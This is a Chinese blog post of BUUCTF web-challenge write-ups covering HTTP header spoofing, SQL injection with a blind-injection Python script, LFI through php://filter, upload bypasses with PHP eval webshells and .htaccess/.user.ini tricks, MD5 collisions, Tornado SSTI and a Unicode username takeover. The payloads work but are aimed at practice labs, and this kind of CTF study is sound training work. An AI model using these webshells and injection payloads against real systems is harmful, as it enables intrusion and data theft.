buuctf刷题
[极客大挑战 2019]Http
在源码中翻到提示请求Secret.php
先后三次要求:
come from: Referer
browser: User-Agent
can only read locally: X-Forwarded-For
伪造http即可获得flag
[极客大挑战 2019]LoveSQL
经过测试发现为MariaDB数据库,相当于mysql的增强版,大多数mysql的语法都可以直接使用.
发现是单引号闭合,可以使用报错注入
1'||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
得到表名包括geekuser,l0ve1ysq1
然后查询列名发现这俩表的列名都为id,username,password
这就不是很对了,猜测flag在外部文件中,我们使用load_file进行读外部文件,发现被禁用了
研究了半天不知道怎么绕过,继续翻表,发现可以使用联合注入,得出flag
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
报错得翻到死...
[极客大挑战 2019]Secret File
源码中找到了提示,访问./Archive_room.php
,发现一个按钮,点完发现跳转到另一个界面,但是啥也没有.
使用burp发包,对返回包进行拦截,发现注释提示访问/secr3t.php
,又是一个302重定向的问题
访问/secr3t.php
,直接给出了下面的代码:
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
直接使用filter伪协议去读就行
file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Upload
文件上传题目,前端白名单检测,后端随机文件名外加比较小的黑名单检测.
我们尝试传输phtml文件,发现成功.说明后端可能开启了如下配置
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
[极客大挑战 2019]Upload
也是一个文件上传,没有前端检测,后端防的很严.
猜测设置了扩展名黑名单,同时检测文件头,文件中的<?
标签
我们尝试上传一个phtml文件,文件内容为
ÿØÿ`<script language="php"> eval($_POST['cmd']); </script>
前面那三个是jpg的文件头.由于php版本是7.1一下,所以可以使用这个标签实现对<?
的绕过.
[BJDCTF2020]Easy MD5
上来给了一个搜索框,不知道要干啥.我们通过拦截返回包发现包头存在提示Hint: select * from 'admin' where password=md5($pass,true)
因此我们合理的推测我们填入的内容会作为$pass
并进行md5运算.
尝试使用quine,但是后来发现这个md5使用的是php的函数,因此quine是打不通的.
直接看wp,发现这个php中的md5中的第二个参数如果为false的话返回的结果会以16进制的形式返回,而如果第二个参数为true的话则会解析为ascii并返回.
因此我们如果能够找到一个经过md5加密后返回的字符串为'or'xxx
,这个xxx要求以非0数字开头,即可成功绕过.
恰好有这么一个字符串ffifdyop,能够满足条件,输入进入下一阶段.
给出了源码:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
md5若比较,使用数组或特定的字符均可
?a[]=1&b[]=2
进入下一阶段:
给出了源码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
切换请求方式为post,然后使用强碰撞绕过即可.
param1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab¶m2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
[极客大挑战 2019]BuyFlag
我们选择查看pay.php页面,查看源码发现下面的一段注释
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
同时提示我们flag需要是本校的学生同时花100000000来买.我们通过post传参.注意到cookie中有一个user=0,我们把它改成1
money=10000000&password=404a
提示长度过长,缩短一位,提示钱不够.猜测对长度存在限制
使用科学计数法或数组绕过
money=1e9&password=404a
money[]=10000000&password=404a
即可成功获得flag
[RoarCTF 2019]Easy Calc
上来给了一个远程的计算器,发现源码中存在下面的一段
<!--I've set up WAF to ensure security.-->
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
我们访问calc.php发现给出了源码如下:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
我们构造请求,查看php信息
? num=1;phpinfo()
为什么要在num前添加空格,这是一个小坑.因为提示说存在waf.php的cgi在接受url中的奇怪字符的时候会自动将其忽略或是转换为_
来进行识别.就比如我们的url中有%[num%id
,那么他被php接受的时候会自动变为$_GET['num_id']
.因此在num前添加一个空格可以在不影响php接受的情况下绕过waf检测.
我们发现phpinfo中存在如下的disable_function
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,chdir,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,putenv,opendir,imap_open,mail,imap_mail,ini_set,apache_setenv,link,
然而scandir并没有被禁用,构造payload如下
? num=2;print_r(scandir(chr(47)))
得出根目录结构如下
2Array ( [0] => .dockerenv [1] => bin [2] => boot [3] => dev [4] => etc [5] => f1agg [6] => home [7] => lib [8] => lib64 [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => start.sh [18] => sys [19] => tmp [20] => usr [21] => var )
然后构造
? num=1;readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
成功得到flag
[ACTF2020 新生赛]BackupFile
上来给了个空白界面,提示Try to find out source file!,然后就没别的东西了.使用dirsearch扫描,第一次没好使,第二次设置参数-t 100
发现存在index.php.bak备份文件.访问将其下载.
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
一个弱类型比较,逻辑很简单.key=123
直接拿flag
[护网杯 2018]easy_tornado
上来给了三个链接,点开后的内容如下
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
然后尝试发现其本质是向/file路由传递filename和filehash这两个参数.filehash的生成规则已经给出,关键是需要知道cookie_secret
在报文中找了半天都没有,查看wp发现是python tornado的SSTI,是一个没接触过的题型.
当我们的filehash错误的时候会被重定向error路由,传递一个msg参数,此处存在ssti漏洞.尝试输入{{2*2}}
返回ORZ,说明有黑名单防护.
?msg={{handler.settings}}
handler.settings是tornado的配置字典,可以近似认为是jinjia2中的config.
我们得到了cookie_secret1eacd88a-8164-4753-bf50-d2d9a2dd1653
,然后按照规则进行加密并传递参数即可获得flag
[MRCTF2020]你传你🐎呢
文件上传,没有前端防护.
经过测试发现是黑名单防护,对php后缀进行检测防护,意思还有meme防护
上传一个.htaccess文件即可.
[HCTF 2018]admin
一看名字就猜测是某种admin伪造攻击.尝试注册一个admin用户,不成功,注册一个普通账户登录以后发现可以改密码.猜测这里可以修改admin的密码,但是发包的时候发现表单中只有自己要新修改的密码,然后存在一个cookie session.
破解不了这个session,查看源码发现给了一个github的链接,猜测是给出了源码,访问发现404,时间太久源码没了.直接查看wp.
部分源码如下.应该还有其他的部分,按照wp中所说应该有存储secret_key的文件,但是没找到.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':
flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username
我们只能采用Unicode绕过方法,又是一个新的知识点.
我们注意到源码中在register()路由中向数据库中存储用户名之前将其转换为了小写,并检测是否有重名的.而在修改密码的时候也是将我们输入的新用户名转换为了小写.那么就有一个问题,如果我们注册的时候选择注册一个经过两次转换小写为admin的用户,那么就能成功绕过.
而unicode中正好能满足这个需求,可以在这个网站查询对应的特殊转换关系Search - SYMBL (◕‿◕).
ᴬʙᴄᴰᴇꜰɢʜᴵᴊᴋʟᴹᴺᴏᴘʀꜱᴛᴜʏᴢ
上面的这些字母小写后会变成正常的ascii的大写字母,直接从中选出admin进行注册,然后登录即可获得flag
[MRCTF2020]Ez_bypass
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg)&&$id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
逻辑很简单,只需要一次强碰撞和一次弱绕过即可.
[GXYCTF2019]BabyUpload
一个文件上传,对ph后缀进行了黑名单防护,同时会检测文件中的<?
,我们上传一个.htaccess文件和一个script标签的图片马即可成功绕过.
AddType application/x-httpd-php .jpg
ÿØÿ`<script language="php"> eval($_POST['cmd']); </script>
[SUCTF 2019]CheckIn
给了源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
进行了文件头检测,文件内容检测,同时进行了黑名单防护.但是只防了htaccess没防user.ini,我们可以传下面内容的两个文件.
.user.ini :
GIF89a
auto_prepend_file=eval.gif
eval.gif :
GIF89a
<script language="php"> eval($_POST['cmd']); </script>
GIF图片的文件头可以直接打出来,比较方便.
然后此时的回显如下:
Your dir uploads/c7129430ace4c05bd5bcee0bd02b538b
Your files :
array(3) { [0]=> string(9) ".user.ini" [1]=> string(8) "eval.gif" [2]=> string(9) "index.php" }
然后我们使用蚁剑链接这个index.php
即可.uploads/c7129430ace4c05bd5bcee0bd02b538b/index.php
为什么要连接这个php而不是图片马?因为我们的利用条件是.user.ini
中在所有的php文件执行之前先包含这个eval.gif的代码,也就是先把我们的马执行一遍.所以连这个图片是没有用的.
[GXYCTF2019]BabySQli
白盒注入,给出的源码如下
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
我们可以看到后端的逻辑是检测我们查询结果返回的数组,如果$arr[1]
是admin且$arr[2]
等同于我们输入的密码md5后的结果则可以成功登录.
观察防护发现可以进行联合注入,payload如下
username=1' union select 1,'admin','202cb962ac59075b964b07152d234b70#'&password=123
[CISCN2019 华北赛区 Day2 Web1]Hack World
一个sql注入,我们先扔进去个fuzz看看,发现下面的内容被禁用.
length%20 handler --+ --%20 information xor select%20 oorr /*
anandd floor rand order `%20 for sys%20 separator cursor '%20
'or 'and
经过测试我们发现如果查询的结果为真则会返回Hello, glzjin wants a girlfriend.因此我们考虑采用布尔盲注.
然后我们输入1=1,发现结果为真,说明后端并不是把我们的输入作为部分拼接到原有的查询语句,而是直接将我们的输入做为查询语句去执行.
我们构造无空格盲注查询语句进行查询
(select(ascii(mid(flag,1,1))=102)from(flag))
虽然不明白为什么要有最外层那个括号,但是没有确实不行.发现结果为真,写成脚本.
import requests
from requests.exceptions import ConnectTimeout
url = "http://c1b27d6f-08f1-4f00-832e-bd31413a6845.node5.buuoj.cn:81/index.php"
flag = ""
max_retries = 3 # 最大重试次数
for i in range(1, 50):
for j in range(1, 123):
payload = "(select(ascii(mid(flag," + str(i) + ",1))=" + str(j) + ")from(flag))"
data = {"id": payload}
for attempt in range(max_retries):
try:
res = requests.post(url, data=data, timeout=10) # 增加超时时间为10秒
if "wants" in res.text:
flag += chr(j)
print(flag)
break
else:
break # 如果没有找到匹配的字符,跳出重试循环
except ConnectTimeout:
print(f"连接超时,正在重试...(尝试次数:{attempt + 1})")
if attempt == max_retries - 1:
print("达到最大重试次数,停止尝试。")
if "wants" in res.text:
break
print("已经爆了" + str(i) + "位了")
成功得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具